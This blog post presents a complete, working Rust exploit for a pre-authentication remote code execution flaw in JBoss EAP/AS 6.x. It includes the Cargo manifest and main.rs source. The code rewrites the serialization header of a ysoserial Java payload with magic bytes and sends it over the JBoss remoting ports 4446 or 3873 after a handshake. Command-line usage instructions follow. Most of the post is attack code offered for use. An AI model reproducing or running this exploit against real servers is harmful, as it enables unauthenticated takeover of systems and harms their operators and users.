JBoss EAP/AS <= 6.* RCE - A little bit beyond \xAC\xED

Time to "leak" this old (but gold) pre-auth RCE affecting some of the Red Hat products.

As stated by @joaomatosf this is an old but gold vulnerability found by himself and shared in two distinct security conference in Brazil, this vulnerability was part of a training he gave alongside with two other colleagues, check his tweet.

https://twitter.com/joaomatosf/status/1502334426868551682

Technical details are available in the slides from the Alligator Conference 2019.

Back in time, I did use this vulnerability as a stimulus to write some Rust code, so forgive me any non-sense.

Cargo.toml

[package]
name = "j-is-d-boss"
version = "0.1.0"
authors = ["jespinhara"]
edition = "2018"

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]
clap = "~2.33.3"
hexdump = "0.1.0"

main.rs

extern crate clap;

use clap::{Arg, App};

use std::net::TcpStream;
use std::io::{Read, Write};
use std::fs::File;
use std::path::Path;
use std::str::from_utf8;
use std::process::exit;

// stackoverflow FTW
// https://stackoverflow.com/questions/54150353/how-to-find-and-replace-every-matching-slice-of-bytes-with-another-slice
// this will replace all the occurrences, but in this case, \xac\xed only happens once
fn replace_slice<T>(source: &mut [T], from: &[T], to: &[T])
    where
        T: Clone + PartialEq,
{
    let iteration = if source.starts_with(from) {
        source[..from.len()].clone_from_slice(to);
        from.len()
    } else {
        1
    };

    if source.len() > from.len() {
        replace_slice(&mut source[iteration..], from, to);
    }
}

fn prepare_payload(serial_file: &str) -> Vec<u8> {
    println!("[!] Loading and preparing the payload...");

    let in_the_past = b"\xac\xed\x00\x05";
    let magic_bytes = b"\x77\x01\x16\x79";

    let mut file_content = Vec::new();
    let mut file = File::open(&serial_file).expect("[-] Unable to open file");
    file.read_to_end(&mut file_content).expect("[-] Unable to read");

    replace_slice(&mut file_content, in_the_past, magic_bytes);

    file_content
}

fn send_gift(target: &str, port: &str, payload: Vec<u8>) {

    let mut target_address = target.to_string();
    let mut target_port = port.to_string();

    // target:port -> TcpStream
    target_address.push_str(":");
    target_address.push_str(&target_port);

    if let Ok(mut stream) = TcpStream::connect(target_address) {
        println!("[+] Connected to the server!");

        let handshake = b"\xac\xed\x00\x05";

        println!("[!] Sending handshake...");
        stream.write(handshake).unwrap();

        let mut data = [0 as u8; 4];
        match stream.read_exact(&mut data) {
            Ok(_) => {
                if &data == handshake {
                    println!("[+] Handshake Succeed!");
                    stream.write(payload.as_slice()).unwrap();
                    println!("[+] Exploiting... Done!");
                } else {
                    let res = from_utf8(&data).unwrap();
                    println!("[-] Unexpected response: {}", res);
                    println!("[-] Server response bytes: {:?}", res);
                }
            }
            Err(e) => {
                println!("[-] Failed to receive data: {}", e);
            }
        }
    } else {
        println!("[-] Couldn't connect to server...");
    }
}

fn main() {
    let matches = App::new("JBoss EAP/AS <= 6.X Vulnerability by @joaomatosf - A little bit beyond ACED")
        .version("1.0")
        .author("Exploit by: @jespinhara\n")
        .about("\nJBoss EAP/AS <= 6.X by default and  JBoss EAP/AS up to date if the targeted service is enabled.")
        .arg(Arg::with_name("target")
            .short("t")
            .long("target")
            .value_name("TARGET")
            .help("Target address")
            .takes_value(true)
            .required(true))
        .arg(Arg::with_name("port")
            .short("p")
            .long("port")
            .value_name("PORT")
            .help("Port (4446: JBoss Remoting Unified Invoker, 3873: EJB Remoting Connector)")
            .takes_value(true)
            .default_value("4446")
            .required(false))
        .arg(Arg::with_name("payload")
            .short("y")
            .long("payload")
            .value_name("PAYLOAD")
            .help("Ysoserial payload")
            .takes_value(true)
            .required(true))
        .get_matches();

    let target = matches.value_of("target").unwrap();
    let port = matches.value_of("port").unwrap();
    let payload = matches.value_of("payload").unwrap();

    if !Path::new(payload).exists() {
        println!("[-] Payload file not found! Exiting...");
        exit(0);
    }

    send_gift(target, port, prepare_payload(payload));

}
https://github.com/jespinhara/j-is-the-boss
GitHub - jespinhara/j-is-the-boss
Contribute to jespinhara/j-is-the-boss development by creating an account on GitHub.

To use this exploit, create a malicious java payload using the well-known ysoserial, which I personally use @pimps modified version, then:

# ./j-is-d-boss -t [TARGET] -y [payload.ser] -p [PORT]
0:00
/
Exploiting sample docker

"Funny" enough, Marcio's python exploit has 20 lines and works like a charm. Keep it simple.

That's all cya folks!